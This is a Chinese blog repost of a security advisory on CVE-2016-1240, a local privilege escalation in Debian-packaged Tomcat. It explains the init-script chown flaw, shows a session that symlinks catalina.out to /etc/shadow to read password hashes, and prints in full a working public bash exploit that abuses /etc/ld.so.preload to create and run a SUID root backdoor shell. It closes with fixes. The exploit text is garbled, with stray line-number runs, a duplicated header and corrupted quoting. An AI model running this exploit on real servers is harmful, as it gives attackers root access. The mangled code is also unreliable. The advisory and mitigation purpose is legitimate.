您的位置:首页 > 运维架构 > Tomcat

Tomcat 服务本地提权漏洞预警

2018-02-28 21:23 369 查看
10月1日,Tomcat爆出了一个本地提权漏洞。通过该漏洞,攻击者可以通过一个低权限的Tomcat用户获得系统的root权限。
漏洞相关信息: 
CVE ID:
CVE-2016-1240
漏洞原理:
在Debian系统的Linux上管理员通常利用apt-get进行包管理,deb包是Unixar的标准归档,讲包文件信息以及包内容,经过gzip和tar打包而成。
该问题出在Tomcat的deb包中,使 deb包安装的Tomcat程序会自动为管理员安装一个启动脚本,该脚本位于/etc/init.d/tomcat*, 跟踪代码如下:
1234567891011171     # Run the catalina.sh script as a daemon  set +e 
  touch "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out  chown $TOMCAT7_USER "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out  start-stop-daemon --start -b -u "$TOMCAT7_USER" -g "$TOMCAT7_GROUP" \  -c "$TOMCAT7_USER" -d "$CATALINA_TMPDIR" -p "$CATALINA_PID" \  -x /bin/bash -- -c "$AUTHBIND_COMMAND $TOMCAT_SH"  status="$?"    set +a -e
在174行,Tomcat服务在启动时,会将log文件catalina.out的所有者改为Tomcat用户, 而启动脚本通常由root用户调用。如果将catalina.out修改为指向任意文件的链接将会导致攻击者以高权限随意操作任意系统文件。
利用分析:
该漏洞利用难度不大且场景常见,攻击者在上传webshell后拿到Tomcat用户权限,将catalina.out修改为指向 /etc/shadow 的softlink文件,启动脚本运行后,Tomcat用户将对 /etc/shadow 有访问权限,今读取修改root用户密码,测试如下:
➜ ~ su tomcat6 -c “head /var/log/tomcat6/catalina.out”
Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFil e WARNING: Problem with directory [/usr/share/tomcat6/common/classes], exists: [fa lse],
isDirectory: [false], canRead: [false]
Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFi
le
WARNING: Problem with directory [/usr/share/tomcat6/common], exists: [false], isD
irec
tory: [false], canRead: [false]
Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFil
e
WARNING: Problem with directory [/usr/share/tomcat6/server/classes], exists: [fal
se],
isDirectory: [false], canRead: [false]
Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFi
le
WARNING: Problem with directory [/usr/share/tomcat6/server], exists: [false], isD
irec
tory: [false], canRead: [false]
Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFi
le
WARNING: Problem with directory [/usr/share/tomcat6/shared/classes], exists: [fal
se],
isDirectory: [false], canRead: [false]
➜ ~ su tomcat6 -c “ln -fs /etc/shadow /var/log/tomcat6/catalina.out”
➜ ~ su tomcat6 -c “head /var/log/tomcat6/catalina.out”
head: cannot open ‘/var/log/tomcat6/catalina.out’ for reading: Permission denied
➜ ~ service tomcat6 start
➜ ~ su tomcat6 -c “head /var/log/tomcat6/catalina.out” root:$6$RYhPkXbD$6w2cN3u44Q 01gpHPMEjo9fgMXr7..1:16993:0:99999:7::: daemon:*:16911:0:99999:7::: bin:*:16911:0:99999:7:::
sys:*:16911:0:99999:7:::
sync:*:16911:0:99999:7:::
games:*:16911:0:99999:7:::
man:*:16911:0:99999:7:::
lp:*:16911:0:99999:7:::
mail:*:16911:0:99999:7:::
news:*:16911:0:99999:7:::
 
该漏洞发现者也在报告公开 PoC, 利用也很有趣,作者不甘于单纯的文件操作,巧妙利用获得了一个root权限的shell

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393#!/bin/bash  BACKDOORSH="/bin/bash" BACKDOORPATH="/tmp/tomcatrootsh" PRIVESCLIB="/tmp/privesclib.so" PRIVESCSRC="/tmp/privesclib.c" SUIDBIN="/usr/bin/sudo" function cleanexit {     # Cleanup     echo -e "\n[+] Cleaning up..."     rm -f $PRIVESCSRC     rm -f $PRIVESCLIB     rm -f $TOMCATLOG     touch $TOMCATLOG     if [ -f /etc/ld.so.preload ]; then         echo -n > /etc/ld.so.preload 2>/dev/null     fi     echo -e "\n[+] Job done. Exiting with code $1 \n" exit $1 } function ctrl_c() {         echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred  switch for deferred exploitation."     cleanexit 0 } #intro echo -e "\033[94m \nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Es calation Exploit\nCVE-2016-1240\n" echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \03 3[0m" # Args if [ $# -lt 1 ]; then     echo -e "\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n" exit 3 fi if [ "$2" = "-deferred" ]; then     mode="deferred" else     mode="active" fi # Priv check echo -e "\n[+] Starting the exploit in [\033[94m$mode\033[0m] mode with the follow ing privileges: \n`id`" id | grep -q tomcat if [ $? -ne 0 ]; then echo -e "\n[!] You need to execute the exploit as tomcat user! Exiting.\n" #!/bin/bash  BACKDOORSH="/bin/bash" BACKDOORPATH=”/TMP/tomcatrootsh PRIVESCLIB="/tmp/privesclib.so" PRIVESCSRC="/tmp/privesclib.c" SUIDBIN="/usr/bin/sudo" function cleanexit {     # Cleanup     echo -e "\n[+] Cleaning up..."     rm -f $PRIVESCSRC     rm -f $PRIVESCLIB     rm -f $TOMCATLOG     touch $TOMCATLOG     if [ -f /etc/ld.so.preload ]; then         echo -n > /etc/ld.so.preload 2>/dev/null     fi     echo -e "\n[+] Job done. Exiting with code $1 \n" exit $1 } function ctrl_c() {         echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred  switch for deferred exploitation."     cleanexit 0 } #intro echo -e "\033[94m \nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Es calation Exploit\nCVE-2016-1240\n" echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \03 3[0m" # Args if [ $# -lt 1 ]; then     echo -e "\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n" exit 3 fi if [ "$2" = "-deferred" ]; then     mode="deferred" else     mode="active" fi # Priv check echo -e "\n[+] Starting the exploit in [\033[94m$mode\033[0m] mode with the follow ing privileges: \n`id`" id | grep -q tomcat if [ $? -ne 0 ]; then echo -e "\n[!] You need to execute the exploit as tomcat user! Exiting.\n" exit 3 fi # Set target paths TOMCATLOG="$1" if [ ! -f $TOMCATLOG ]; then     echo -e "\n[!] The specified Tomcat catalina.out log ($TOMCATLOG) doesn't exis t. Try again.\n" exit 3 fi echo -e "\n[+] Target Tomcat log file set to $TOMCATLOG" # [ Deferred exploitation ] # Symlink the log file to /etc/default/locale file which gets executed daily on de fault # tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation  cronjob around 6:25am. # Attackers can freely add their commands to the /etc/default/locale script after Tomcat has been # restarted and file owner gets changed. if [ "$mode" = "deferred" ]; then     rm -f $TOMCATLOG && ln -s /etc/default/locale $TOMCATLOG     if [ $? -ne 0 ]; then         echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."         cleanexit 3     fi     echo -e  "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"     echo -e  "\n[+] The current owner of the file is: \n`ls -l /etc/default/locale `"     echo -ne "\n[+] Keep an eye on the owner change on /etc/default/locale . After  the Tomcat restart / system reboot"     echo -ne "\n    you'll be able to add arbitrary commands to the file which wil l get executed with root privileges"     echo -ne "\n    at ~6:25am by the /etc/cron.daily/tomcatN log rotation cron. S ee also -active mode if you can't wait ;)\n\n" exit 0 fi # [ Active exploitation ] trap ctrl_c INT # Compile privesc preload library echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)" cat <<_solibeof_>$PRIVESCSRC #define _GNU_SOURCE #include <stdio.h> #include <sys/stat.h> #include<unistd.h> #include <dlfcn.h> uid_t geteuid(void) {     static uid_t  (*old_geteuid)();     old_geteuid = dlsym(RTLD_NEXT, "geteuid");     if ( old_geteuid() == 0 ) {         chown("$BACKDOORPATH", 0, 0);         chmod("$BACKDOORPATH", 04777);         unlink("/etc/ld.so.preload"); }     return old_geteuid(); } _solibeof_ gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl if [ $? -ne 0 ]; then     echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."     cleanexit 2; fi # Prepare backdoor shell cp $BACKDOORSH $BACKDOORPATH echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`" # Safety check if [ -f /etc/ld.so.preload ]; then     echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."     cleanexit 2 fi # Symlink the log file to ld.so.preload rm -f $TOMCATLOG && ln -s /etc/ld.so.preload $TOMCATLOG if [ $? -ne 0 ]; then     echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."     cleanexit 3 fi echo -e "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`" # Wait for Tomcat to re-open the logs echo -ne "\n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart..." echo -e  "\nYou could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;)" while :; do     sleep 0.1     if [ -f /etc/ld.so.preload ]; then         echo $PRIVESCLIB > /etc/ld.so.preload break; fi done  # /etc/ld.so.preload file should be owned by tomcat user at this point  # Inject the privesc.so shared library to escalate privileges  echo $PRIVESCLIB > /etc/ld.so.preload  echo -e "\n[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomc  at privileges: \n`ls -l /etc/ld.so.preload`"  echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"  echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload  `"  # Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)  echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"  sudo --help 2>/dev/null >/dev/null  # Check for the rootshell  ls -l $BACKDOORPATH | grep rws | grep -q root  if [ $? -eq 0 ]; then      echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPA  TH`"      echo -e "\n\033[94mPlease tell me you're seeing this too ;) \033[0m"  else      echo -e "\n[!] Failed to get root"      cleanexit 2  fi  # Execute the rootshell  echo -e "\n[+] Executing the rootshell $BACKDOORPATH now! \n"  $BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"  $BACKDOORPATH -p  # Job done.  cleanexit 0
可以看到,PoC中主要的几个流程, 首先利用Tomcat启动脚本chown的缺陷把/etc/ld_preload.so变成有权限改写,然后加入自己的ldpreload,最后在自己的ldpreload里面给backdoor加上setuid权限,这样Tomcat重启以后backdoor就是root权限带suid了。
影响范围:
deb打包的所有Tomcat6/7/8等版本均受到影响
应急修复方案:
1.临时修复建议
若担心更新有兼容问题,可更改Tomcat的启动脚本为 chown -h $TOMCAT6_USER “$CATALINA_PID” “$CATALINA_BASE”/logs/catalina.out
加入 – h参数防止其他文件所有者被更改。
 
2. 更新最新Tomcat包
Debian安全小组已经在第一时间修复了受影响的Tomcat上游包,直接更新发行版提供的Tomcat即可。
出处:http://bobao.360.cn/snapshot/index?id=246527
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: